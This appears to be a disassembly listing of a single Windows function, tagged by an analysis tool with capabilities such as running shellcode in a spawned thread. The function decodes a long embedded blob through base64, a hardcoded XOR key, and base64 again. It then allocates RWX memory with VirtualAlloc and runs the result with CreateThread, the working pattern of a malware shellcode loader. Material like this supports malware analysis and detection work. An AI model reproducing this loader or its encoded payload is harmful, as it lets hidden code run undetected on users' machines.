Function at 0x1400017ae
Capabilities:
Allocate or change rwx memory
Create thread
Execute shellcode via indirect call
Spawn thread to rwx shellcode

Disassembly:
push rbp
push rbx
mov eax, 0x57b08
call fcn.14000be20
sub rsp, rax
lea rbp, [rsp + 0x80]
mov dword [rbp + 0x57aa0], ecx
mov qword [rbp + 0x57aa8], rdx
call dbg.__main
cmp dword [rbp + 0x57aa0], 2
jne 0x140001b1b
lea rax, [rbp + 0x40]
lea rdx, str.AzcDMToAOi0MFzEoCVESFDAhNQJLPAMgMiwgIj9EDS0URyUEKC8hQUNACDEEQgwfMwMrLw4FBgsnKBRKWC0kMzs0MjQiKSQvFiAyMi4tLSVdMyYgLztRFRYPUSgHMgovOg8GITw5VAc1LwMVChcnGRAdWB0QACMcOyMnDQUMWwwBLSQMMj8nCx4iRxICP1EJBSRKJyYrXRI_NTIUKitVOCkpJCgyMiUgMiwjITAOJhUhPF4AIC8wRSsZIDUjAVEPI1ZCSi4iK1E9ByQhCltRFRwfRhAqLSsYMDIyIz8AWAMhNwU7Jzs0WDsBJCQhAFQGNSlUBiE1MUQ7ES8nOQJRCRY1BFg6L1FDKg0rUTVVJx0nKlMAISQNOh02MjAzBFEJAgwfGQ4tOU89GyYgLzskMiIpJCgyMiUgMiwgIik1JS42LT4kKCk2KTEhIAkiX1wEMyUoJCYgLzskLyISKS8sFTkCOjgiKSQ7FgYyMj4LKSUkMyYgLzwnKiI5JCg2MiUgMiwgIg81IS4iKSokLC8kLzIxKDIyLDApMyUoJCYgLzsnPycmKS0kMzs0MjQIKSgvFiAiMi4kAFIkBSYiLzkkMSIpJDgyMiUgMiwgIi01JS4iKSokKC8kLzYxIDIyLCQpMyYoJCYgLzskLyckKS0kMz80MjQiJSYZFgYyQC4tLSVOPiYiLzY0MiIpJCgyMiUgMiwgIik1JggiHyoCLj8kLzIxIDIyLCQpMyUoJAAgIzsULz8kKS0kMzs0MjQiKSQvFiAyMi4tLSUkMyYgLzskMiIpJCgyMiUgMiwgIik1JS4AIi4mKCYkLzIxIDIyLCQpMyUoJCYgLw0kCSJRKj0kMzs0MjQiKSQvFiAyMi4tLSUkMyYgLzskMiIpJCgyMiUgPwMzDw08NS4iKSotLBksLzIyIDIyLCQ9MwMoJCUgLzskLyckKS0kMzs0MjQiKSQvHiAyMjYvWR0_NSFRNyskMgoYNCgyMiUWMgogIgQTJS4iKgwmKC8kLzIxIDIyLCQpMyUoJCYkLzskKycQMisjQiMkMjQiKyYkFiAyMl8tJSUkNhAgLzsmBiIPJCgyMiUgMiwgIik1JS4iKSkkKC8hLz8eIxgqNTcAMyUoAiAwLzskKSchKS0kEzs0MjRVDywvFiAyMi4tLSUkMyYgLzskMjIpJCgiMFEYKToZFTEDJS4SKTIkKC8mLzIHIDIwLCQpMyU4ISYgLzskLyckKS0kMzs0MjQiLSQvFiQ6Mi4tLSUkMyYgLzskMiIpJCgyMiUgMiwgIik1JS4iKSokKC8kLzIxIDIyLCQpMyUoJCYgLzskLyckKS0kMzs0MjQiKSQvFiAyMi4tLSUkMyYgLzskMiIpJCgyMiUgMiwgIik1JS4iKSokKC8kLzIxIDIyLCQpMyUoJCYgLzskLyckKS0kMzs0MjQiKSQvFiAyMi4tLSUkMyYgLzskMiIpJCgyMiUgMiwgIik1JS4iKSokKC8kLzIxIDIyLCQpMyUoJCYgLzskLyckKS0kMzs0MjQiKSQvFiAyMi4tLSUkMyYgLzskMiIpJCgyMiUgMiwgIik1JS4iKSokKC8kLzIxIDIyLCQpMyUoJCYgLzskLyckKS0kMzs0MjQiKSQvFiAyMi4tLSUkMyYgLzskMiIpJCgyMiUgMiwgIik1JS4iKSokKC8kLzIxIDIyLCQpMyUoJCYgLzskLyckKS0kMzs0MjQiKSQvFiAyMi4tLSUkMyYgLzskMiIpJCgyMiUgMiwgIik1JS4iKSokKC8kLzIxIDIyLCQpMyUoJCYgLzskLyckKS0kMzs0MjQiLQwkDyIiOjlcBSBSMSYbQUoMP1E8DlwXG1EoGlUnKgFMDgACDyokKD5KJhpIBToSDiEhMyUoJDQgPj4CFAEkDEczOxNEBB4uLQwqLyIxFRhUFikfPx0sFDcfPjAhCQo5Mgw5ICQxECEwNEAwIR0_JjoJXDsbCD8EOAwkCysAACYgLztKVgMpEFwNAg04FDQiKScnFlk8NyAtLldQJw4tNjk0BDAhNSw6NUslCSAbLhI5HiIZJRMsADgSBTA2BToURhIPIS0fUBICCTskLyIKCz80MDswGjlRLQwoICkmNQU5IS1TQikjGzcCMiIpJyAaSgAoGlULDCENMS0iLQIpKwofWzIXIzobDidYNg8ALwosLzskLyQsARs9OFEkOjQwISoEICAyMi4tLi0MKyhVLzskMjAhDg0AXA8iMikxIjs9EAwpLCksDlY0CStIMT4JIB8lCCkRLABKGRUxJxAnOyUWPBEDGDYiLDU9IisyNi4tLi0NEQtROkoyPyAtNF4wKzEzICQXMTs9ESUWKSokKCsMKAooOQBFFz8hG1AuUSYgLzs2Jz42DC0JOxMsOEEiKSQvYRYXOgY9OjZOIy4gPTMQMRYpJCgyNg0nBCUwKzs9CT4UKSokKCENHjoHJDIVSchFVw4ChBZFDcfIxwoEikMNk02GQckWAwiEzIVRi4LLR5VBw8WPQ0kMjAhPSgXMgwoGlULDA9MJS4iLQIpLT8fWzIXJRw0XRYpMy0xJAMFODMCVjcKH1QfPwA4CTgZLQwkDyIiOjwlABcvMCUoByI0GCQuASAUWBMGICQXAjs9Eh8WDy4kKAknJxpIFFgyPCQpMysBBikWLzsNDSc1ACYgMzs0MDkaJw9bFhYyMjwlGlA2Oz8gCi4VOgpQEwYVIFwgMikNVCc8NTsxIVoiJAwKKzIxKDIgJBMhRCcaHCYgKgg8BR8pHykMPksXGAwiKSQvYSpDRy4tLi0MShEOJC4kMiInESAgOhI1ICQXKl45Ay4iKSgjHiYwHjwlLEcXPjchGDVaKCYwLzsxJxA1PCUTNik8BSNVLS5FFiAxOgcPLlQiGQ4tFzUNMRUfJChFCyYsGlUvKgFNMiYKUEQKPz8sLzI5FwQgJBELOCArLA5TGREqJxAiOyURQjAwMTwEUDQJD1kjPhUhFikfPx0sFD8MN1QrDSAZIlUJBTwoIl4yHlZMR1IsABk9X0oHKDIgJD0pFiYIKSM0H0MkCSdQKyQ0Pyk8BjQWKSQvFiQaNRgkNBM2OzckJTc1PhklHyQJPh4sCSAZKgIlVAMVOSIkXzkxV1xfTj4JIB8lCCkTKB0lPjsSVhwoEiEfPwA4CTgZLDUvIFkJPhUhFikfPx0sFD8nJzAhNRo6Ng0tQTgILxEBDA0tKSokAQ0nXjsgTjoXLAgsRCUFVSJOQTMBPwIsD18RHTs9JiUuUCcnMFkiFDhUIi0CQRQwLzIxAhYpICgyMiATRCAbLhI5HiIZJREoEysMIgs1CDkkLA0hGzMONDQoAg0iKw8vDS8nMCweGjFULCcnPlgfOgZUHC0MWRUOQS4oMiIsNUYUXAMjFywNKgIsKSYERwwpDT83JxkoLxQVBEuP0swH1cUGisNCF9UMSURNS88KzQHKiACeE5cXCsWGj0BIwAxGw8oEABYChNBQw0vJS4wBDs9EiFVJQgfKC8kVzIxIDEyJTAxIS1YKC0iKhUCBCskKSU9Mx40Alo1HyQvFiUHFjokJQdKSikjQUI_MQpRPyQZJhMKOig0GR8xDSMZDQwgJy8kLxsTI0MdKAwkKic7JDQoGgkvKw4sAV80GS88BT0wIRFWHScbOghUPRM0JFAlFDcfPhklHyQJNg0rKy4wKjs9CBwpKiksADY0BTQ2BToURhIPIS0fPzQoNjABPwNRKgskMzs6B0QwIRFbHiQaNUBfOBM2OxMZJT8MNVoGMCEGMlQgMiwlETAxDSMCPCksAQtUXks1CD8xOA9aMwMrLA8CLEsgCw8yOhskMyk8GDMtRzwtFiQaNRgkP1I2OxE1PTMTOlUuASMyMiYsGlU7KgFNACYKUFgKJj8kLzI1CD83PylaMwMrLA5YPhU3BQ0kKSU9Mx40GzwKUBMBOBNDMi4oPCU2OxMCJD4nOgpaEgI8Ng0tFy4zIjs9NCoqLkQhEyMfIwk9Gz4JKAwkCiEALzAgBjMMNic0PCUJMz0zFzc1AyM2BCgjAD4pAShXNw4tVhEcP1sKXSsyMiUgGjULKjs9ECQyLQxQOgQNXjEGWSUZFRYr
mov ecx, 0x5798d
mov r8, rcx
mov rcx, rax
call sym.memcpy
lea rax, str._____Successfully_loaded__n_n
mov rcx, rax
call sym.printf_char_const__::_
movabs rax, 0x646c6c6f73736157
movabs rdx, 0x73657a6e61677265
mov qword [rbp - 0x10], rax
mov qword [rbp - 8], rdx
movabs rax, 0x6164737369656863
movabs rdx, 0x6f64746863616d73
mov qword [rbp], rax
mov qword [rbp + 8], rdx
movabs rax, 0x6e656e69656b6863
movabs rdx, 0x68656d7373617073
mov qword [rbp + 0x10], rax
mov qword [rbp + 0x18], rdx
movabs rax, 0x7a6e616765696472
movabs rdx, 0x72656c6865666e65
mov qword [rbp + 0x20], rax
mov qword [rbp + 0x28], rdx
movabs rax, 0x7a72656c6865666e
movabs rdx, 0x6e656863757375
mov qword [rbp + 0x29], rax
mov qword [rbp + 0x31], rdx
lea rax, [rbp + 0x579ff]
mov rcx, rax
call fcn.140068e60
lea rcx, [rbp + 0x579ff]
lea rdx, [rbp + 0x40]
lea rax, [rbp + 0x579d0]
mov r8, rcx
mov rcx, rax
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::basic_string_std.allocator_char____char_const__std::allocator_char__const_
lea rax, [rbp - 0x50]
lea rdx, [rbp + 0x579d0]
mov rcx, rax
call sym.base64_decode_std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char____const_
lea rax, [rbp + 0x579d0]
mov rcx, rax
call sym.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::basic_string__
lea rax, [rbp + 0x579ff]
mov rcx, rax
call sym.std::allocator_char_::allocator__
lea rdx, [rbp - 0x50]
lea rax, [rbp + 0x57a00]
mov rcx, rax
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___.basic_string_std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char____const_
lea rax, [rbp + 0x57a00]
mov rdx, rax
lea rax, str._____Successfully_decoded_Base_1__s_n_n
mov rcx, rax
call sym.printf_char_const__::_
lea rax, [rbp + 0x57a00]
mov rcx, rax
call sym.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::basic_string__
lea rax, [rbp - 0x50]
mov rcx, rax
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___.length___const
mov rbx, rax
lea rax, [rbp - 0x50]
mov rcx, rax
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___.data__
lea rdx, [rbp - 0x10]
mov r8, rdx
mov rdx, rbx
mov rcx, rax
call sym.xor_decrypt_unsigned_char__unsigned_long_long__char_const_
lea rdx, [rbp - 0x50]
lea rax, [rbp + 0x57a20]
mov rcx, rax
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___.basic_string_std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char____const_
lea rax, [rbp + 0x57a20]
mov rdx, rax
lea rax, str._____Successfully_decoded_XOR__s_n_n
mov rcx, rax
call sym.printf_char_const__::_
lea rax, [rbp + 0x57a20]
mov rcx, rax
call sym.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::basic_string__
lea rax, [rbp - 0x30]
lea rdx, [rbp - 0x50]
mov rcx, rax
call sym.base64_decode_std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char____const_
lea rdx, [rbp - 0x30]
lea rax, [rbp + 0x57a40]
mov rcx, rax
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___.basic_string_std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char____const_
lea rax, [rbp + 0x57a40]
mov rdx, rax
lea rax, str._____Successfully_decoded_Base_2__s_n_n
mov rcx, rax
call sym.printf_char_const__::_
lea rax, [rbp + 0x57a40]
mov rcx, rax
call sym.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::basic_string__
lea rax, [rbp - 0x30]
mov rcx, rax
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___.length___const
mov qword [rbp + 0x57a78], rax
mov rax, qword [rbp + 0x57a78]
add rax, 1
mov rcx, rax
call sym.operator_new___unsigned_long_long_
mov qword [rbp + 0x57a70], rax
lea rax, [rbp - 0x30]
mov rcx, rax
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___.end__
mov rbx, rax
lea rax, [rbp - 0x30]
mov rcx, rax
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___.begin__
mov rdx, qword [rbp + 0x57a70]
mov r8, rdx
mov rdx, rbx
mov rcx, rax
call method.unsigned_char_std::copy___gnu_cxx::__normal_iterator_char__std::__cxx11::basic_string_char__std::char_traits_char___std.allocator_char_______unsigned_char____gnu_cxx::__normal_iterator_char__std::__cxx11::basic_string_char__std::char_traits_cha
mov rdx, qword [rbp + 0x57a70]
mov rax, qword [rbp + 0x57a78]
add rax, rdx
mov byte [rax], 0
mov r9d, 0x40
mov r8d, 0x3000
mov edx, 8
mov ecx, 0
mov rax, qword [sym.imp.KERNEL32.dll_VirtualAlloc]
call rax
mov qword [rbp + 0x57a68], rax
mov rax, qword [rbp + 0x57a70]
mov rdx, qword [rax]
mov rax, qword [rbp + 0x57a68]
mov qword [rax], rdx
mov rax, qword [rbp + 0x57a68]
mov qword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0
mov r9d, 0
mov r8, rax
mov edx, 0
mov ecx, 0
mov rax, qword [sym.imp.KERNEL32.dll_CreateThread]
call rax
mov qword [rbp + 0x57a60], rax
mov rax, qword [rbp + 0x57a60]
mov edx, 0xffffffff
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
call rax
cmp qword [rbp + 0x57a70], 0
je 0x140001afc
mov rax, qword [rbp + 0x57a70]
mov rcx, rax
call sym.operator_delete___void_
mov ebx, 0
lea rax, [rbp - 0x30]
mov rcx, rax
call sym.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::basic_string__
lea rax, [rbp - 0x50]
mov rcx, rax
call sym.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::basic_string__
jmp 0x140001b20
mov ebx, 0
mov eax, ebx
jmp 0x140001bbf
add rsp, 0x57b08
pop rbx
pop rbp
ret